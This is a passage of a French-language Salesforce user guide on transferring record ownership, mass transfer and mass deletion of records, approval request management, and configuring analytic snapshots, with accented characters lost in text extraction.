une vue de liste et en cliquant sur Modifier le responsable un utilisateur ou une file d'attente
Transfrer plusieurs enregistrements l'aide de l'outil de
transfert en masse

Comptes, pistes et objets personnaliss

Possibilit de modification de responsabilit

Les utilisateurs qui disposent de l'autorisation Modifier toutes les donnes ou Modifier tout pour un objet donn,
peuvent transfrer tout enregistrement, quel que soit son responsable.
Pour transfrer un ou plusieurs enregistrements partir d'une vue de liste, le nouveau responsable doit disposer au moins
de l'autorisation Lire dans le type d'objet. Cette rgle ne s'applique pas si vous utilisez l'outil de transfert en masse.
Pour transfrer la responsabilit de chaque enregistrement d'une organisation n'employant pas la gestion des territoires,
un utilisateur doit disposer de l'autorisation de modification approprie, et tre responsable de l'enregistrement ou tre
un niveau suprieur au responsable dans la hirarchie des rles.

Gestion des donnes

Guide de l'utilisateur | Prsentation du transfert d'enregistrements | 222

Par exemple, pour transfrer la responsabilit d'un compte, un utilisateur doit disposer de l'autorisation Modifier dans
les comptes et de l'accs en partage de lecture au compte. En outre, le nouveau responsable de l'enregistrement doit disposer
de l'autorisation Lire dans les comptes.
Les paramtres de partage Accs public intgral et Accs public en lecture/criture/transfert permettent de transfrer la
responsabilit de ce type d'enregistrement condition que les utilisateurs possdent l'autorisation de modification.

Dans les organisations qui utilisent la gestion des territoires, les utilisateurs attribus des territoires peuvent tre autoriss
transfrer les comptes dans leurs territoires, mme s'ils ne sont pas responsables des enregistrements.
Pour transfrer des campagnes, les utilisateurs doivent galement avoir la case Utilisateur marketing active dans
leur enregistrement utilisateur.
Les comptes partenaires peuvent tre transfrs uniquement vers les utilisateurs qui disposent de l'autorisation Grer les
partenaires.
Vous ne pouvez pas attribuer un compte avec des utilisateurs du portail client un responsable qui est un utilisateur
partenaire.

Voir aussi :
Transfert en masse d'enregistrements
Modification de la responsabilit
Modification de plusieurs requtes
Modification de plusieurs pistes

Transfert en masse d'enregistrements

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour transfrer en masse des comptes et des objets
personnaliss :

Transfrer l'enregistrement
ET
Modifier dans le type d'objet

Pour transfrer en masse des pistes :

Transfrer les pistes OU transfrer l'enregistrement

ET
Modifier dans les pistes

Utilisez l'outil de transfert en masse pour transfrer plusieurs comptes, pistes et objets personnaliss entre les utilisateurs.
Remarque: Pour transfrer un enregistrement qui ne vous appartient pas, vous devez disposer des autorisations
utilisateur requises ainsi que de l'accs de partage en lecture cet enregistrement.
1. Cliquez sur Configuration Gestion des donnes Transfert en masse d'enregistrements.
2. Cliquez sur le lien dsignant le type d'enregistrement transfrer.

Gestion des donnes

Guide de l'utilisateur | Prsentation du transfert d'enregistrements | 223

3. Vous pouvez galement prciser le nom du responsable actuel de l'enregistrement dans le champ Transfrer de. Vous
pouvez transfrer les pistes partir des utilisateurs ou des files d'attente.
4. Dans le champ Transfrer , entrez le nom du nouveau responsable de l'enregistrement. Vous pouvez transfrer les
pistes vers des utilisateurs ou des files d'attente.
5. Si votre organisation utilise des services, activez la case Modifier un service pour dfinir le service de tous les
enregistrements transfrs sur le service par dfaut du nouveau responsable.
6. Lorsque vous transfrez des comptes, vous pouvez :

Activez la case Transfrer les opportunits en cours n'appartenant pas au responsable du

compte existant pour transfrer les opportunits ouvertes appartenant d'autres utilisateurs associs au compte.
Cocher la case Transfrer les opportunits closes pour transfrer les opportunits closes associes au
compte. Cette option ne s'applique qu'aux opportunits closes possdes par le responsable du compte ; les opportunits
closes dont d'autres utilisateurs sont responsables ne sont pas modifies.
Activez la case Transfrer les requtes en cours n'appartenant pas au responsable du compte
existant pour transfrer les requtes ouvertes appartenant au responsable de compte existant et associes au compte.
Cocher la case Transfrer les requtes closes pour transfrer les requtes closes dont le responsable de
compte existant est responsable et qui sont associes au compte.
Cocher la case Conserver les quipes de comptes pour conserver l'quipe de comptes existante associe au
compte. Dslectionner cette case pour supprimer l'quipe de comptes existante associe au compte.
Activez la case Conserver l'quipe de vente sur les opportunits pour conserver l'quipe de vente
existante dans les opportunits associes ce compte.
Remarque: Si vous transfrez des opportunits closes, l'quipe de ventes est conserve, quel que soit le statut
de ce paramtre.

7. Saisissez les critres de recherche que doivent remplir les enregistrements transfrs.
8. Cliquez sur Rechercher.
9. Activez la case en regard des enregistrements que vous souhaitez transfrer. Vous pouvez galement cocher la case situe
en regard de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs.
Remarque: Si des enregistrements dupliqus sont dtects, vous devez slectionner l'un des enregistrements
transfrer. Le transfert d'enregistrements dupliqus gnre une erreur.
Des enregistrements dupliqus peuvent s'afficher si vous filtrez des pistes bases sur le Statut de membre de campagne
et qu'une piste renvoye possde un statut de membre de campagne identique dans plusieurs campagnes. Par
exemple, si vous spcifiez Statut de membre de campagne gal Envoy et que le statut de la piste
nomme Batrice Dupont est Envoy dans deux campagnes, son enregistrement s'affiche deux fois.
10. Cliquez sur Transfrer.

Voir aussi :
Modification de la responsabilit
Modification de plusieurs requtes

Gestion des donnes

Guide de l'utilisateur | Gestion de plusieurs demandes d'approbation | 224

Gestion de plusieurs demandes d'approbation

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer plusieurs demandes d'approbation :

Modifier toutes les donnes

Pour transfrer plusieurs demandes d'approbation d'un utilisateur un autre ou pour supprimer plusieurs demandes d'approbation
du processus d'approbation :
1. Avant de transfrer une demande d'approbation, assurez-vous que l'approbateur attribu est autoris lire les enregistrements
concernant les demandes d'approbation. Par exemple, un utilisateur qui ne dispose pas d'un accs en lecture un objet
personnalis concernant les dpenses ne pourra pas afficher les demandes d'approbation relatives aux dpenses.
2. Cliquez sur Configuration Gestion des donnes Transfrer en masse des demandes d'approbation.
3. Spcifiez les conditions de recherche que devront remplir les demandes d'approbation que vous transfrez.
4. Cliquez sur Rechercher pour rechercher les demandes d'approbation qui correspondent.
5. Choisissez une option :

L'option Supprimer en masse les enregistrements partir d'un processus d'approbation

dverrouille les enregistrements et les supprime de tous les processus d'approbation afin qu'ils disparaissent de la liste
de demandes d'approbation en attente de l'approbateur.
L'option Transfrer en masse les demandes d'approbation en attente vers un nouvel
utilisateur vous permet de slectionner un utilisateur qui devient l'approbateur de l'ensemble des demandes
d'approbation slectionnes.

6. Le cas chant, saisissez les commentaires stocker avec les demandes d'approbation. Les commentaires que vous saisissez
apparaissent dans la liste associe Historique des approbations si votre administrateur l'a personnalise afin qu'elle contienne
le champ Commentaires.
7. Cochez la case en regard de chaque demande d'approbation transfrer ou supprimer du processus d'approbation, en
fonction de l'option choisie prcdemment.
8. Cliquez sur Transfrer ou sur Supprimer, en fonction de l'option choisie prcdemment.

Voir aussi :
Prsentation des processus d'approbation
Terminologie propre aux processus d'approbation

Gestion des donnes

Guide de l'utilisateur | Suppression en masse de donnes | 225

Suppression en masse de donnes

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer en masse les donnes :

Modifier toutes les donnes

Vous pouvez supprimer simultanment plusieurs requtes, solutions, comptes, contacts, pistes, produits ou activits.
Pour supprimer plusieurs enregistrements :
Cliquez sur Configuration Gestion des donnes Supprimer des enregistrements en masse.
Cliquez sur le lien dsignant le type d'enregistrement supprimer.
Examinez les informations qui seront supprimes en mme temps que les enregistrements.
Spcifiez les conditions que doivent remplir les lments slectionns, par exemple tat gal Californie .
Lors de la suppression de comptes, cochez les cases appropries si vous souhaitez supprimer des comptes rattachs des
opportunits closes/gagnes ou des opportunits qui sont sous la responsabilit d'autres utilisateurs.
6. Lorsque vous supprimez des produits, cochez la case Archiver des produits pour inclure les produits situs dans des
opportunits. Les produits archivs ne sont pas dplacs vers la Corbeille. Cochez cette option pour :
1.
2.
3.
4.
5.

Supprimer les produits qui ne sont pas dans des opportunits et les dplacer vers la Corbeille.
Archiver les produits qui sont dans des opportunits. Ces produits ne peuvent ni tre placs dans la Corbeille ni tre
rcuprs.

7. Choisissez Rechercher pour rechercher les enregistrements correspondants.

8. Cochez la case situe en regard des lments supprimer. Vous pouvez galement cocher la case situe en regard de l'en-tte
de colonne afin de slectionner tous les lments actuellement affichs.
9. Pour supprimer dfinitivement des enregistrements, slectionnez Supprimer dfinitivement les enregistrements
slectionns. La slection de cette option vous empche de rcuprer les enregistrements slectionns dans la Corbeille.
10. Cliquez sur Supprimer.
Remarques sur l'utilisation de la fonction de suppression en masse
Tenez compte des informations suivantes lors de l'utilisation de la fonction de suppression en masse :

Vous pouvez supprimer 250 lments maximum la fois.

Lorsque vous supprimez un enregistrement, tout enregistrement associ s'affichant sur les listes associes correspondantes
est galement supprim.
Les comptes et contacts associs aux requtes ne peuvent pas tre supprims.
Les comptes partenaires dots d'utilisateurs partenaires ne peuvent pas tre supprims.
Les contacts activs pour le libre-service et leurs comptes associs ne peuvent pas tre supprims.
Lors de la suppression de produits, toutes les entres du catalogue de prix associes sont galement supprimes.
Les produits des opportunits ne peuvent pas tre supprims, mais peuvent tre archivs.
Lorsque vous supprimez des activits, toute activit archive rpondant aux critres est galement supprime.
Les vnements enfants d'un vnement rcurrent n'apparaissent pas dans la liste des lments supprimer, mais sont
supprims en mme temps que la srie d'vnements associe.

Gestion des donnes

Guide de l'utilisateur | Qu'est-ce qu'un instantan analytique ? | 226

La suppression d'une solution principale ne supprime pas les solutions traduites qui lui sont associes. Au contraire, chaque
solution traduite devient une solution principale.
La suppression d'une solution traduite entrane la suppression de son association avec la solution principale.

Voir aussi :
Annulation d'une importation
Corbeille

Qu'est-ce qu'un instantan analytique ?

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Un instantan analytique permet des utilisateurs d'excuter un rapport tabulaire ou rcapitulatif et d'enregistrer les rsultats
du rapport dans des champs d'un objet personnalis. Grce aux instantans analytiques, les utilisateurs disposant des permissions
appropries peuvent mapper des champs d'un rapport source vers des champs d'un objet cible, et planifier l'excution afin de
renseigner les champs de l'objet personnalis avec les donnes du rapport. Les instantans analytiques permettent d'utiliser les
donnes d'un rapport de la mme manire que les autres enregistrements dans Salesforce.com. Par exemple, un directeur
d'quipe support client peut dfinir un instantan analytique qui rende compte son quipe de requtes ouvertes, chaque jour
17h00, et stocker ces donnes dans un objet personnalis pour dvelopper un historique des requtes ouvertes partir duquel
il peut reprer les tendances via des rapports. En outre, le directeur de l'quipe support client peut rendre compte des donnes
de tendance ou de donnes instantanes stockes dans l'objet personnalis et utiliser le rapport comme une source pour un
composant de tableau de bord. Pour connatre le nombre total d'instantans analytiques que vous pouvez crer, reportez-vous
ditions Salesforce.com et limitations la page 932.
Terminologie des instantans analytiques
La terminologie suivante est utilise pour les instantans analytiques :
Rapport source d'instantan analytique
Rapport personnalis planifi pour s'excuter et charger des donnes en tant qu'enregistrements dans un objet personnalis.
Objet cible d'instantan analytique
Objet personnalis qui reoit les rsultats du rapport source en tant qu'enregistrements.
Utilisateur actuel de l'instantan analytique
Utilisateur dont les paramtres de scurit dterminent le niveau d'accs aux donnes du rapport source. Ceci contourne
tous les paramtres de scurit, en donnant accs des donnes qu'ils ne pourraient pas visualiser autrement tous les
utilisateurs pouvant visualiser les rsultats du rapport source dans l'objet cible.
Renseignez-vous sur le type de licence que possde votre utilisateur actuel. Par exemple, si l'utilisateur
actuel d'un instantan analytique possde une licence Salesforce.com, les utilisateurs disposant de licences pour la
plateforme Force.com ou Salesforce Platform One ne pourront pas les consulter. Inversement, si l'utilisateur
actuel a une licence de plate-forme Force.com ou Salesforce Platform One, les utilisateurs dots de licences
Salesforce.com pourront voir l'instantan analytique. Si certains de vos utilisateurs ont des licences de plate-forme
Force.com ou Salesforce Platform One, il est recommand de leur crer un autre instantan analytique avec un
utilisateur actuel dot d'une licence utilisateur de plate-forme Force.com ou Salesforce Platform One.
Aprs avoir dfini un instantan analytique, les utilisateurs peuvent :

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 227

crer et excuter des rapports personnaliss partir de l'objet cible. Pour plus d'informations, reportez-vous Cration
d'un rapport personnalis la page 1718 et Excution de rapports la page 1711.
crer des tableaux de bord partir du rapport source. Pour plus d'informations, reportez-vous Cration et modification
de proprits de tableaux de bord la page 1357.
dfinir des vues de liste de l'objet cible s'il est inclus dans un onglet d'objet personnalis. Pour plus d'informations,
reportez-vous Cration de vues Listes personnalises la page 1538.

Voir aussi :
Gestion des Instantans analytiques

Configuration d'instantans analytiques

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Grer les instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excution des rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Autorisation de cration sur l'objet cible

Un instantan analytique permet des utilisateurs d'excuter un rapport tabulaire ou rcapitulatif et d'enregistrer les rsultats
du rapport dans des champs d'un objet personnalis. Grce aux instantans analytiques, les utilisateurs disposant des permissions
appropries peuvent mapper des champs d'un rapport source vers des champs d'un objet cible, et planifier l'excution afin de
renseigner les champs de l'objet personnalis avec les donnes du rapport. Les instantans analytiques permettent d'utiliser les
donnes d'un rapport de la mme manire que les autres enregistrements dans Salesforce.com. Pour plus d'informations,
reportez-vous Qu'est ce qu'un instantan analytique la page 226 Pour plus d'informations sur le nombre d'instantans
analytiques que vous pouvez dfinir pour votre organisation, reportez-vous ditions Salesforce.com et limitations la page
932.
Pour dfinir un instantan analytique :
1.
2.
3.
4.
5.
6.

Crez un rapport source qui comprend les champs charger dans un objet cible.
Crez un objet cible dans lequel enregistrer les enregistrements chargs partir du rapport source.
Crez des champs dans l'objet cible qui recevront les rsultats du rapport source lors de l'excution de l'instantan analytique.
Dfinissez l'instantan analytique par un nom, une description, un utilisateur actuel, un rapport source et un objet cible.
Ensuite, mappez des champs spcifiques du rapport source vers des champs spcifiques de l'objet cible.
Ensuite, planifiez l'excution de l'instantan analytique.

Conseils concernant les rapports sources d'instantans analytiques

Tenez compte de ce qui suit lors de la configuration de rapports sources pour des instantans analytiques :

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 228

Si vous enregistrez un rapport source tabulaire avec ses dtails masqus, le rapport n'est pas disponible pour tre inclus dans
un instantan analytique. En outre, si vous masquez les dtails d'un rapport source tabulaire inclus dans un instantan
analytique, l'excution de l'instantan analytique choue. Pour vrifier que les dtails du rapport source tabulaire ne sont
pas masqus, consultez le rapport, cliquez sur Afficher les dtails, puis enregistrez le rapport. Le bouton Enregistrer les
dtails ne s'affiche que si les dtails du rapport sont masqus.
Lors de la cration d'un rapport source pour votre instantan analytique, notez les noms des champs que vous ajoutez au
rapport, car ces noms de champ peuvent s'avrer utiles lorsque vous crez des champs dans l'objet cible dans lequel enregistrer
les rsultats du rapport.
Vous pouvez slectionner n'importe quel rapport personnalis tabulaire ou rcapitulatif en tant que rapport source,
l'exception des rapports de prvision hrits Quota par rapport au rel et Pistes par origine. La liste droulante Rapport
source n'affiche pas les rapports standard. Pour plus d'informations, reportez-vous Dfinition d'un instantan analytique
la page 232.
Vous pouvez inclure jusqu' 100 champs dans votre rapport source.
Vous pouvez supprimer la planification de l'excution d'un instantan analytique. Vous pouvez stopper ou interrompre
l'excution d'un instantan analytique. En outre, vous ne pouvez pas supprimer le rapport source d'un instantan analytique.
Pour supprimer le rapport source, vous devez d'abord supprimer le rapport de l'instantan analytique en modifiant le rapport
dans la liste droulante Rapport source. Pour plus d'informations, reportez-vous Dfinition d'un instantan analytique
la page 232. Pour plus d'informations, reportez-vous Gestion des instantans analytiques la page 1766
Si vous slectionnez Ne charger aucune donne dans la colonne Champs du rapport source, aucune donne ne se chargera
dans le champ correspondant dans la colonne Champs dans l'objet cible, lors de l'excution de l'instantan analytique. Pour
plus d'informations, reportez-vous Mappage de champ d'instantan analytique la page 233.
Le champ (Aucun champ avec un type de donnes compatible) s'affiche dans la colonne Champs du rapport
de source lorsqu'un champ de l'objet cible ne correspond pas au type de donnes d'un champ du rapport source. Pour plus
d'informations, reportez-vous Mappage des champs d'instantan analytique la page 233.

Conseils concernant les objets cibles pour des instantans analytiques

Tenez compte de ce qui suit lors de la configuration des objets cibles pour des instantans analytiques :

Dans Enterprise Edition, Unlimited Edition, et Developer Edition, utilisez la scurit au niveau des champs pour rendre
visibles aux utilisateurs appropris les champs de l'objet cible. Pour plus d'informations, reportez-vous Configuration de
la scurit au niveau du champ la page 182.
Vous ne pouvez pas supprimer un objet personnalis s'il correspond un objet cible dans un instantan analytique. Pour
plus d'informations, reportez-vous Suppression d'objets personnaliss la page 710.
Les champs de l'objet cible dterminent la capacit de mappage de champ. Par exemple, votre rapport source peut comprendre
dix champs, mais si votre objet cible ne comprend qu'un champ, vous ne pouvez mapper qu'un champ dans votre instantan
analytique.
Vous pouvez ajouter jusqu' 100 champs dans l'objet cible.
Les objets cibles ne peuvent pas comporter de rgles de validation, ni tre inclus dans un workflow. Pour plus d'informations,
reportez-vous Gestion des rgles de validation la page 436 et Gestion du workflow et des approbations la page 723.
Les instantans analytiques ne peuvent pas comporter d'objets cibles qui dclenchent l'excution d'un script Apex lorsque
de nouveaux enregistrements sont crs. Pour plus d'informations, reportez-vous Gestion des dclencheurs Apex la
page 899.
Lors de l'excution d'un instantan analytique, 2 000 nouveaux enregistrements peuvent tre ajouts l'objet cible. Si le
rapport source gnre plus de 2 000 enregistrements, un message d'erreur s'affiche pour les enregistrements supplmentaires
dans la liste associe Echecs de lignes. Vous pouvez accder la liste checs de lignes associe via la section Historique
d'excution de la page dtails d'un instantan analytique. Pour plus d'informations, reportez-vous Dpannage d'instantans
analytiques la page 237.

Conseils concernant les instantans analytiques

Tenez compte de ce qui suit lors de la configuration d'instantans analytiques :

Gestion des donnes

Vous ne pouvez mapper que des champs avec des types de donnes compatibles. Par exemple, vous pouvez mapper un
champ de devise vers un champ numrique.
La section planification d'instantan analytique de la page dtails d'un instantan analytique affiche des dtails lorsque
l'excution de l'instantan analytique est planifie.
Si vous modifiez le rapport source ou l'objet cible d'un instantan analytique avec des mappages de champs existants, ces
derniers sont supprims lors de l'enregistrement de l'instantan analytique. Vous pouvez galement afficher les Champs
rcapitulatifs dans le rapport source et Champs dans l'objet cible pour consulter respectivement
le nombre de champs rcapitulatifs ou cibles. Pour plus d'informations, reportez-vous Dfinition d'un instantan analytique
la page 232.
Vous devez mapper au moins un champ du rapport source vers un champ de l'objet cible, sans quoi les donnes ne seront
pas charges du rapport source vers l'objet cible lors de l'excution de l'instantan analytique.
Lorsqu'un instantan analytique est dfini, supprim ou lorsque son rapport source ou son objet cible sont modifis, il est
suivi dans l'historique du journal d'audit de configuration de votre entreprise. Pour plus d'informations, consultez la rubrique
Surveillance des modifications de configuration la page 206.
La section Historique d'excution de la page dtails d'un instantan analytique affiche des dtails lors de l'excution de
l'instantan analytique. Les dtails comprennent :
-

Guide de l'utilisateur | Configuration d'instantans analytiques | 229

La date et l'heure auxquelles l'instantan analytique a t excut

Le nom du rapport source, de l'objet cible et de l'utilisateur actuel
La dure ncessaire l'excution de l'instantan analytique
Le nombre total de lignes de dtails ou rcapitulatives dans le rapport source, selon le type de rapport.
Le nombre d'enregistrements crs dans l'objet cible
Si l'excution de l'instantan analytique a russi

Un instantan analytique choue en cours d'excution si :

-

La rapport source comprend plus de 100 champs

Le rapport source est pass de rcapitulatif tabulaire
Le niveau de regroupement slectionn pour un rapport source rcapitulatif n'est plus valide
Lutilisateur actif na pas accs au rapport source
Lutilisateur actif ne dispose pas de l'autorisation Excuter les rapports
L'objet cible comprend plus de 100 champs personnaliss
L'objet cible comprend des rgles de validation
L'objet cible est compris dans un workflow
L'objet cible est un objet de dtail dans une relation principal-dtails
L'objet cible excute un dclencheur Apex lorsque de nouveaux enregistrements y sont crs
Lutilisateur actif ne dispose pas de l'autorisation Crer sur l'objet cible. Notez que si le statut de l'objet cible est En
dveloppement, l'utilisateur actif doit disposer de l'autorisation Personnaliser l'application.

Voir aussi :
Qu'est-ce qu'un instantan analytique ?
Gestion des Instantans analytiques

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 230

Gestion des Instantans analytiques

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Gestion des instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excution des rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Autorisation de cration sur l'objet cible

Aprs avoir configur un instantan analytique, vous pouvez consulter les dtails le concernant, le modifier et le supprimer.
Cliquez sur Configuration Gestion des donnes Instantans analytiques pour afficher la page Instantans analytiques,
qui affiche la liste des instantans analytiques de votre entreprise.
partir de la page Instantans analytiques, vous pouvez :

Slectionnez une vue de liste dans la liste droulante Afficher pour accder directement cette page de liste ou cliquer
sur Crer une nouvelle vue pour dfinir votre propre vue personnalise. Pour plus d'informations, consultez la rubrique
Cration de vues Listes personnalises la page 1538.
Dfininissez un nouvel instantan analytique en cliquant sur Nouvel Instantan analytique.
Mettez jour le nom, la description, l'utilisateur actuel, le rapport source et l'objet cible de l' instantan analytique en
cliquant sur Modifier en regard du nom de l'instantan analytique. Seuls les utilisateurs disposant de l'autorisation de
modifier toutes les donnes peuvent choisir d'autres utilisateurs actuels qu'eux-mmes. Si vous disposez de l'autorisation
Personnaliser l'application, entrez un Nom unique. Le nom unique permet de rfrencer le composant lors de l'utilisation
de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom dans les installations de package. Ce nom
ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il
doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas
contenir deux traits de soulignement conscutifs. Le champ Nom unique permet un dveloppeur de modifier les noms
ou les titres de certains composants dans un package gr et d'appliquer les modifications dans l'organisation d'un abonn.
Si vous modifiez le rapport source ou l'objet cible d'un instantan analytique avec des mappages de champs existants, ces
derniers sont supprims lors de l'enregistrement de l'instantan analytique. Vous pouvez galement afficher les Champs
rcapitulatifs dans le rapport source et Champs dans l'objet cible pour consulter respectivement
le nombre de champs rcapitulatifs ou cibles.

Supprimez un instantan analytique en cliquant sur Suppr en regard du nom de l'instantan analytique. Une fois l'instantan
analytique supprim, il ne peut pas tre restaur depuis la Corbeille.
Important: Lorsque vous supprimez un instantan analytique, le rapport source et l'objet cible ne sont pas
supprims ; cependant, lorsque le rapport source est excut, il ne charge pas de donnes dans l'objet cible.
Vous pouvez supprimer la planification de l'excution d'un instantan analytique. Vous pouvez stopper ou
interrompre l'excution d'un instantan analytique. En outre, vous ne pouvez pas supprimer le rapport source d'un
instantan analytique. Pour supprimer le rapport source, vous devez d'abord supprimer le rapport de l'instantan
analytique en modifiant le rapport dans la liste droulante Rapport source. Pour plus d'informations,
reportez-vous Dfinition d'un instantan analytique la page 232.

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 231

Affichez des informations dtailles concernant un instantan analytique et personnalisez-le davantage en cliquant sur le
nom de l'instantan analytique. Aprs avoir cliqu sur le nom de l'instantan analytique, vous pouvez :
-

Cliquer sur des liens de la section Identification qui vous redirigent vers l'utilisateur actif, le rapport source et l'objet
cible de l'instantan analytique. De plus, vous pouvez consulter la date et l'heure souhaites aux environs desquelles
l'instantan analytique doit s'excuter dans le champ Excution suivante, et consulter la date et l'heure auxquelles
l'instantan analytique a t excut pour la dernire fois dans le champ Dernire excution.
Cliquez sur Modifier dans la section des Mappages de champs pour personnaliser davantage les champs mapps du
rapport source l'objet cible. Pour plus d'informations, reportez-vous Mappage de champs d'instantan analytique
la page 233.
La section des Mappages de champs instantan analytique affiche les champs de rapport source mapps vers les champs
d'objet cible. De plus, vous pouvez afficher le nombre de champs du rapport source disponibles pour un mappage vers
l'objet cible dans le champ Colonnes dans le rapport source. Vous pouvez aussi afficher le nombre de champs
disponibles pour le mappage dans l'objet cible dans le champ Champs dans l'objet cible.

Cliquez sur Modifier dans la section Planifier un instantan analytique pour planifier le moment de l'excution de
l'instantan analytique. Pour plus d'informations, reportez-vous Planification et excution d'un instantan analytique
la page 235.
La section Planifier un instantan analytique affiche des dtails sur la planification actuelle de l'instantan analytique.

La section Historique d'excution affiche des dtails sur les prcdentes excutions de l'instantan analytique. Les dtails
comprennent :

La date et l'heure auxquelles l'instantan analytique a t excut

Le nom du rapport source, de l'objet cible et de l'utilisateur actif
La dure ncessaire l'excution de l'instantan analytique
Le nombre total de lignes de dtails ou rcapitulatives dans le rapport source, selon le type de rapport.
Le nombre d'enregistrements crs dans l'objet cible
Si l'excution de l'instantan analytique a russi

Jusqu' 200 enregistrements sont stocks dans la section Historique d'excution. Au-del de 200 enregistrements stocks,
l'enregistrement le plus ancien est supprim et ne peut pas tre rcupr depuis la Corbeille.
La section Historique d'excution n'affiche que la premire erreur dtecte pour chaque excution qui a chou. Pour
dpanner un instantan analytique qui a chou au cours d'une excution planifie, reportez-vous Dpannage des
instantans analytiques la page 237.

Voir aussi :
Qu'est-ce qu'un instantan analytique ?
Configuration d'instantans analytiques

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 232

Dfinition d'un instantan analytique

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Grer les instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excution des rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Autorisation de cration sur l'objet cible

Aprs avoir cr un rapport source, un objet cible et des champs d'objet cible, comme expliqu dans Configuration d'instantans
analytiques, vous pouvez dfinir votre instantan analytique. Vous dfinissez un instantan analytique en lui donnant un nom
et en choisissant le rapport source qui chargera les rsultats du rapport source dans l'objet cible que vous spcifiez lors de
l'excution de l'instantan analytique.
Pour dfinir un instantan analytique :
1.
2.
3.
4.

Cliquez sur Configuration Gestion des donnes Instantans analytiques.

Cliquez sur Nouvel instantan analytique.
Saisissez le nom, le nom unique et la description de votre instantan analytique.
Choisissez un utilisateur dans le champ Utilisateur actuel en cliquant sur l'icne de recherche.
L'utilisateur du champ Utilisateur actuel dtermine le niveau d'accs aux donnes du rapport source. Ceci contourne
tous les paramtres de scurit, en donnant accs des donnes qu'ils ne pourraient pas visualiser autrement tous les
utilisateurs pouvant visualiser les rsultats du rapport source dans l'objet cible.
Seuls les utilisateurs disposant de l'autorisation de modifier toutes les donnes peuvent choisir d'autres utilisateurs actuels
qu'eux-mmes. Pour plus d'informations, reportez-vous Gestion des profils la page 108.

5. Slectionnez un rapport dans la liste droulante Rapport source.

Les rapports que vous choisissez dterminent les rsultats de rapport qui seront chargs en tant qu'enregistrements dans
l'objet cible lors de l'excution de l'instantan analytique.
Vous pouvez slectionner n'importe quel rapport personnalis tabulaire ou rcapitulatif en tant que rapport source,
l'exception des rapports de prvision hrits Quota par rapport au rel et Pistes par origine. La liste droulante Rapport
source n'affiche pas les rapports standard. Pour plus d'informations, reportez-vous Cration d'un rapport personnalis
la page 1718 et Dossiers de rapports standard la page 1681.
6. Slectionnez un objet personnalis dans la liste droulante Objet cible.
L'objet cible que vous choisissez reoit les rsultats du rapport source en tant qu'enregistrements lors de l'excution de
l'instantan analytique.
Si un enregistrement utilis pour un instantan analytique ne contient aucun type d'enregistrement associ, le type
d'enregistrement de l'utilisateur actuel est associ l'instantan analytique par dfaut.
7. Cliquez sur Enregistrer pour enregistrer la dfinition de votre instantan analytique, ou sur Enregistrer et modifier les
mappages de champs pour enregistrer votre instantan analytique et mapper ses champs.

Gestion des donnes

Guide de l'utilisateur | Configuration d'instantans analytiques | 233

8. Ensuite, mappez les champs du rapport source vers les champs de l'objet cible.

Voir aussi :
Configuration d'instantans analytiques
Gestion des Instantans analytiques

Mappage de champs d'instantan analytique

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, enregistrer et planifier un instantan analytique :

Gestion des instantans analytiques

Pour excuter un instantan analytique en tant qu'utilisateur Excution des rapports

actuel et ajouter les rsultats un objet personnalis,
AND
l'utilisateur actuel doit disposer des lments suivants :
Autorisation de cration sur l'objet cible

Aprs avoir cr un rapport source, un objet cible et des champs d'objet cible, et dfini votre instantan analytique comme
expliqu dans Configuration d'instantans analytiques, vous pouvez mapper les champs de votre rapport source vers les champs
de votre objet cible. Mappez des champs de rapport source vers des champs d'objet cible de sorte ce qu'au moment o le
rapport s'excute, il charge automatiquement des champs d'objets cibles spcifiques avec des donnes issues de champs de
rapports sources spcifiques.
Pour mapper les champs sur un instantan analytique :
Cliquez sur Configuration Gestion des donnes Instantans analytiques.
Slectionnez le nom de l'instantan analytique dont vous souhaitez mapper les champs.
Cliquez sur Modifier dans la section Mappages de champs.
Pour des rapportts rcapitulatifs, slectionnez le Niveau de regroupement auquel les donnes rcapitulatives sont
extraites du rapport source. Les donnes charges dans l'objet cible sont extraites des champs rcapitulatifs, au niveau de
regroupement que vous avez spcifi. Le Rcapitulatif gnral synthtise le total de tous les niveaux de regroupement.
5. Dans la colonne Champs du rapport source, cliquez sur la liste droulante Ne charger aucune donne et slectionnez
un champ dans le rapport source mapper vers le champ d'objet personnalis dans la colonne Champs dans l'objet cible.
Seuls les champs rcapitulatifs peuvent tre mapps pour des instantans analytiques bass sur des rapports rcapitulatifs.
Notez que les champs de rapports rcapitulatifs peuvent varier selon le niveau de regroupement slectionn.
6. Cliquez sur Enregistrement rapide pour enregistrer les mappages de champ et continuer mapper des champs, ou sur
Enregistrer pour enregistrer des mappages de champ et revenir la page dtails de l'instantan analytique.
7. Ensuite, planifiez l'excution de l'instantan analytique.
1.
2.
3.
4.

